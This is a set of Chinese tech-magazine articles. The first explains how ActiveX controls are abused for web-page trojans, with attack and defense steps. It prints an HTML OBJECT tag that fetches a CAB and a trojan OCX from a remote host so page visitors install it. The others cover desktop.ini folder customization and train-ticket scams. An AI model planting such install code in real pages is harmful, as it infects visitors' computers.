如何利用ActiveX挂马

　　曾几何时， 利用ActiveX是流氓软件“行凶”的主要技术手段之一，如今流氓软件大多都已经作古了，可ActiveX并没有退出人们的视野，网页挂马看上了它，于是ActiveX挂马流行起来，成为了重要的几种挂马方式之一。
　　
　　北岸团队张贵岭：资深安全工程师，从事安全行业十余年。
　　ActiveX是微软开发的。微软的程序员似乎把世界想象得太过于善良，认为没有人会用ActiveX作恶。当年恶意软件流行的时期，一家名为“XX宝贝视频聊天室”的网站就曾利用色诱的方式，诱惑用户主动安装网站的ActiveX视频聊天控件。
　　该ActiveX控件不仅会主动跟踪用户网络信息，而且还有弹出广告、上传用户Word文档等流氓行为。当利用ActiveX作恶的流氓软件越来越多后，微软在IE7中就忍痛添加了关于ActiveX认证的措施。如今所有的ActiveX在IE7中都会先屏蔽，而不再像当初一样主动弹出安装窗口。
　　小百科：ActiveX是Microsoft对于一系列策略性面向对象程序技术和工具的称呼，ActiveX控件在使用时需要安装。
　　
谁捧红了ActiveX挂马？
　　在流氓软件野蛮生长的那几年，流氓软件也如同各路山贼土匪一样，往往会因为争夺用户电脑中的重要位置而发生火拼，于是许多用来制造病毒的技术被应用到了这些流氓软件身上。WwW.iTcompUtER.COm.cN后来病毒也开始向流氓软件取经，流氓软件使用的一些技术也被病毒拿来使用，ActiveX挂马应该是病毒从流氓软件身上学习的最彻底的技术。
　　小百科：许多浏览器在支持ActiveX方面并不如IE来得积极，虽然Firefox、网景等浏览器都在不同程度上支持ActiveX，但是ActiveX出现问题最多的仍然是IE浏览器。
　　ActiveX会被挂马者利用，其实主要问题在于它的认证机制。早期，如果一个网站上有需要安装ActiveX才能够看到的东西，那么在你访问该网站的时候，相关的ActiveX会反复地弹出提示要求你安装它，许多用户往往会因为各种原因点击“确定”，允许ActiveX控件安装。
　　这就如同你走在马路上，有一群人说自己原意跟你交朋友，这些人在你面前一一经过，你可以选择点头同意或者摇头否定，凡是你点头同意的人都可以成为你的朋友，他们可以自由进出你的家。恐怖的是，有些人在成为你朋友之后，你才发现他是个小偷或者无赖流氓。
　　目前利用ActiveX挂马主要有两种形式，一种是利用正常程序的ActiveX漏洞进行溢出挂马，另外一种则是直接编写恶意的ActiveX木马程序，将恶意的木马程序伪装成看似有某项功能的ActiveX控件，欺骗用户安装。接下来的案例中我们将会为大家演示黑客如何利用ActiveX挂马。
ActiveX挂马攻防实录
方法1：通过漏洞挂马
　　攻黑客利用ActiveX进行网页挂马，最常见的方法就是利用那些有漏洞的ActiveX控件进行挂马，通过用户系统内已有的ActiveX控件的触发，让木马在不知不觉中植入用户的电脑。
　　其中利用软件ActiveX漏洞发动攻击的著名例子有Flash和RealPlayer的ActiveX漏洞挂马程序，这些软件的ActiveX漏洞都曾经造成了极大的危害，特别是RealPlayer至今仍然有黑客在使用它的ActiveX漏洞进行挂马。
　　下面以DjVu ActiveX控件漏洞为例讲解挂马的具体步骤，首先将恶意代码输入到写字板中，然后另存为任意的HTML文件，然后利用IFRAME代码将生成的HTML文件嵌入到正常的网页中，此时输入网址打开含有DjVu ActiveX控件漏洞的网页，本机的计算器程序就会被触发开启。而黑客通常不会这么善良，他们会将Shellcode代码修改成下载指定恶意程序的代码，然后让用户在打开相关网站后中招（图1）。

　　小百科：DjVu ActiveX控件是用于压缩图形文件的工具，它在处理超长的ImageURL属性参数时会出现溢出。
　　
　　防对于利用ActiveX漏洞来进行挂马的行为，最好的防范方法是使用IE之外的浏览器，例如Firefox、Maxthon或360安全浏览器。此外，最好能够安装防挂马软件。
方法2：编写ActiveX木马
　　攻ActiveX木马是利用一些用户盲目地点击网页上弹出的ActiveX询问安装按钮的习惯而进行传播的。许多用户往往并不能够分辨出哪些ActiveX控件是无害的，哪些ActiveX控件是有害的。
　　那些ActiveX木马会打着视频聊天、美女图库等诱惑性的幌子，一些经不起诱惑的用户就会冲动性地安装网页中的ActiveX木马。
　　编写ActiveX木马，需要一定的编程基础，而且整个过程相当复杂，由于版面的原因，这里只向各位想成为安全工程师的朋友简单阐述一下ActiveX木马的大致编写过程。
　　首先黑客会编写一个具有Download或者其他恶意功能的OCX控件，这是ActiveX木马的核心和灵魂，然后黑客会再编写一个Setup安全设置的INF文件，用CAB压缩工具，例如WinCAB，将两个文件压缩打包成一个CAB文件。
　　 最后黑客将该文件上传到自己的网站中，并在网页中写入调用安装ActiveX控件的代码即可开张等待浏览该网页的用户上钩（图2）。

　　调用代码如下：
　　＜OBJECT classid=clsid:68ADAF59-76C1-4561-A45A-867F43545237
　　codeBase=http://192.168.1.1/web/setup.cab#version=1，0，0，0＞
　　＜PARAM NAME="Setup" VALUE="http:// 192.168.1.1/web/download.ocx"＞
　　＜/OBJECT＞
　　这样的ActiveX木马是没有签名验证的，通常不会被允许安装，但是仍然有方法可以突破这些安全限制。
　　
　　防要避免ActiveX木马的攻击只要禁止ActiveX木马被调用运行就可以了。
　　防范此种方式挂马的最好方法还是在客户终端机上操作，在客户终端机运行IE浏览器，点击“工具→Internet选项→安全→自定义级别”，将安全级别定义为“高”，对“ActiveX控件和插件”中第2项、第3项设置为“禁用”，其他项设置为“提示”，之后点击“确定”（图3）。这样设置后，当你使用IE浏览网页时，就能有效避免ActiveX木马的攻击。

 
如何修改文件夹

　　你厌倦XP那千遍一律的文件夹风格了吗？你想拥有一个与众不同的、令人极度羡慕的、充满个性的系统吗？本文，正是为你而准备的！更改文件夹图标，修改文件夹背景与文件夹内字体颜色，添加文件夹信息——不需要任何第三方软件，仅仅依靠Windows自身的功能与小小的记事本你即可实现以上种种效果！下面，我们就来看看一个普通的系统是如何摇身一变成为一台“巫妖王之怒”主题文件夹的系统吧！

一、 修改文件夹图标
　　修改图标应该是其中相对而言最简单的了。首先，进入所要修改的文件夹。然后在文件夹中的空白处单击右键，在弹出的右键菜单中选择“自定义文件夹”选项。随后在弹出的窗口中我们就可以看到更改图标的按钮了。选择它，在弹出的窗口中我们就可以任意地把文件夹图标改为我们喜欢的样式了。看，我的兽族酋长够酷吧（图1）！

二、 修改文件夹背景与文件夹内字体颜色
　　有了守门的酋长，咱基地内的建设也不能落下啊。刚刚的更改图标其实只是小试牛刀，接下来要修改文件夹内的背景与字体颜色可就没那么简单了。现在，修改完了图标，我们需要先打开菜单栏“工具”内的“文件夹选项”，在“查看”选项卡中选中显示所有文件和文件夹并去掉“隐藏受保护的操作系统文件”前的小钩，保存。再回到刚才的文件夹，怎样，是不是发现多出了一个隐藏文件？它可不是什么病毒，而是在刚才修改图标后产生的，我们接下来的主角是desktop.ini。
　　小贴士：什么是desktop.ini？
　　desktop.ini是文件夹选项的配置文件，它主要用来记录用户的文件夹图标、文件的查看方式和排列方式等个性化信息。
　　现在我们双击它，默认情况下该文件是用记事本打开的。然后，我们在其中添加以下内容（括号内中文为注释，不用输入）：
　　[{BE098140-A513-11D0-A3A4-00C04FD706EC}]
　　IconArea_Image=X:\XX\XX.jpg（用来做背景的图片的路径）
　　IconArea_Text=0x000000FF （设定文件夹内字体颜色，代码表示24位颜色配置表中不同的值，0x000000FF为红色，黄色为“0x0000FFFF”，蓝色为“0x00FF0000”， 如果留空则默认为黑色），效果见图2。

　　修改完成后保存，刷新，OK！看，巫妖王坐在了我们的文件夹背景中（图3）！

三、 为文件夹添加详细提示信息
　　在Windows 中，当我们将鼠标指针移到一个文件夹上方停留片刻，就会弹出一个提示信息，信息中包含该文件夹的大小、文件夹中列在前面的文件夹及文件名称。其实除了让它显示这些基本信息之外，我们还可以为文件夹添加更为详细的说明文字。例如，某个文件夹非常重要（例如装有我最喜欢的魔兽），那么为了防止被他人误删，我们就可以在这个弹出信息中加上自己的警告。
　　具体做法其实很简单，首先，仍然是打开我们刚刚的desktop.ini，在其中的“IconIndex”一行的下方加上“InfoTip=XXX”（InfoTip的位置可参见图2，双引号不用输入，等号后的XXX即为我们所要添加的提示信息）。OK，现在我们保存，返回上一级的目录，把鼠标移到我们的文件夹上，看到效果了吧（图4）？

　　当你将鼠标指针移动到文件夹上方时，并没有出现任何提示信息，不用担心，你还需要事先进行以下操作：打开菜单栏“工具”中的“文件夹选项”，然后选择“查看”，在“高级设置”列表中，选中“鼠标指向文件夹和桌面项时显示提示信息”，然后单击“确定”保存即可。
　　现在，完成了以上所有工作后，我们只需要将这修改后的desktop.ini中的内容复制到其他文件夹的desktop.ini中，再把桌面背景一改，Oh yeah！整个系统的文件夹都变成“魔兽”主题的了！

 
如何防止买到假火车票 　　元旦过后，很多想要回家过年的朋友就要开始牵挂一个东西了——火车票，于是相关的网络购票、网络查询也火爆起来。这个时候也是网络诈骗、网页挂马的高峰期，它们都是冲着想购买火车票的人而来。
　　当前，网络换票非常火热，出现了不少换票的网站和论坛，而它们也成了“黄牛党”新的阵地。由于不再是“一手交钱，一手交货”，相关的网络诈骗也出现了，给钱不给票，给的是假票……这样的情况在网上不断出现，“黑榜”也收到了不少相关的举报信。
　　据小编观察，目前网上的换票陷阱、订票陷阱不少，特别是那些宣称“可代购XX至全国任何地方的火车票”，不少都有猫腻。有的人在收到钱后就销声匿迹了，有的火车票竟然是“整容”的废票。目前，很多地方的警方都把网络倒票列为了重点打击对象。所以，小编建议大家在网上购票、换票时，要特别谨慎，最好是到车站售票点或者正规代售点购买，谨防上当。
　　此外，挂马网页也出现数倍的增加，疯狂地侵袭访问者，例如查询火车票的www.touba4.cn/index/index.htm网站，就在近期侵袭了将近34万网民（数据来自瑞星），这些挂马网页大多都与火车票相关，给搜索火车票网站人一记“闷棍”。
　　小编建议大家，最近上网要注意安全，特别是要注意那些数字跟字母无规则组合的网址，这类网址安全度较低。此外，要及时给自己的电脑打上补丁，上网时开启账号保护工具，最好还搭配使用带网页拦截功能的安全辅助工具。